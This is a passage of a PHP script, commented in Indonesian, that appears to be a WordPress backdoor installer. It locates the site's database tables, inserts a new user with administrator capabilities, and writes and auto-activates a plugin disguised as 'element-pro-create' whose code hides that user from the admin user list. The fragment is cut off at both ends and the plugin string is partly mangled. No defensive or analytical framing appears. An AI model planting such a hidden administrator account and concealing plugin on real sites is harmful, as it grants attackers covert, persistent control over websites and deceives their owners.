sconnect_error) die("❌ Koneksi gagal: " . $conn->connect_error); // Fungsi bantu cari tabel function find_table_by_column($conn, $like_pattern, $column_name) { $result = $conn->query("SHOW TABLES LIKE '{$like_pattern}'"); while ($row = $result->fetch_row()) { $table = $row[0]; $check = $conn->query("SHOW COLUMNS FROM `{$table}` LIKE '{$column_name}'"); if ($check && $check->num_rows > 0) return $table; } return false; } $users_table = find_table_by_column($conn, '%_users', 'user_login'); if (!$users_table) die("❌ Gagal menemukan tabel users utama."); $prefix = (substr($users_table, -6) === '_users') ? substr($users_table, 0, -6).'_' : ''; $usermeta_table = $prefix . 'usermeta'; $options_table = $prefix . 'options'; // Cek tabel usermeta & options foreach ([$usermeta_table, $options_table] as $t) { $check = $conn->query("SHOW TABLES LIKE '$t'"); if ($check->num_rows === 0) die("❌ Gagal menemukan tabel $t"); } // Cek user sudah ada? $stmt = $conn->prepare("SELECT ID FROM {$users_table} WHERE user_login = ?"); $stmt->bind_param("s", $admin_user); $stmt->execute(); $stmt->store_result(); if ($stmt->num_rows > 0) die("❌ User sudah ada."); $stmt->close(); // Hash password function wp_hash_password($password) { $salt = substr(str_replace('+', '.', base64_encode(random_bytes(22))), 0, 22); return crypt($password, '$2y$10$'.$salt); } $hashed = wp_hash_password($admin_pass); $now = date('Y-m-d H:i:s'); // Insert user baru $stmt = $conn->prepare("INSERT INTO {$users_table} (user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES (?,?,?,?,?,0,?)"); $stmt->bind_param("ssssss", $admin_user,$hashed,$admin_user,$admin_email,$now,$admin_user); $stmt->execute(); $user_id = $stmt->insert_id; $stmt->close(); if (!$user_id) die("❌ Gagal membuat user."); // Insert usermeta $meta1 = $conn->prepare("INSERT INTO {$usermeta_table} (user_id,meta_key,meta_value) VALUES (?,?,?)"); $cap_key = $prefix.'capabilities'; $cap_value = 'a:1:{s:13:"administrator";b:1;}'; $meta1->bind_param("iss",$user_id,$cap_key,$cap_value); $meta1->execute(); $meta1->close(); $meta2 = $conn->prepare("INSERT INTO {$usermeta_table} (user_id,meta_key,meta_value) VALUES (?,?,?)"); $level_key = $prefix.'user_level'; $level_value = '10'; $meta2->bind_param("iss",$user_id,$level_key,$level_value); $meta2->execute(); $meta2->close(); // Buat plugin tersembunyi $plugin_code = 'query_where .= " AND {$wpdb->users}.user_login != \'$hidden_user\'"; });'; $wp_root = dirname($wp_config); $plugin_dir = $wp_root . '/wp-content/plugins/element-pro-create'; if (!is_dir($plugin_dir)) mkdir($plugin_dir, 0755, true); file_put_contents($plugin_dir.'/element-pro-create.php',$plugin_code); // Aktifkan plugin otomatis function get_option_value($conn,$table,$option_name){ $stmt = $conn->prepare("SELECT option_value FROM $table WHERE option_name = ?"); $stmt->bind_param("s",$option_name); $stmt->execute(); $stmt->bind_result($value); $stmt->fetch(); $stmt->close(); return $value; } $active_plugins = get_option_value($conn,$options_table,'active_plugins'); $plugins = @unserialize($active_plugins); if(!is_array($plugins)) $plugins = []; $plugin_path = "element-pro-create/element-pro-create.php"; if(!in_array($plugin_path,$plugins)) { $plugins[]=$plugin_path; $plugins_serialized = serialize($plugins); $stmt = $conn->prepare("UPDATE {$options_table} SET option_value=? WHERE option_name='active_plugins'"); $stmt->bind_param("s",$plugins_serialized); $stmt->execute(); $stmt->close(); } echo "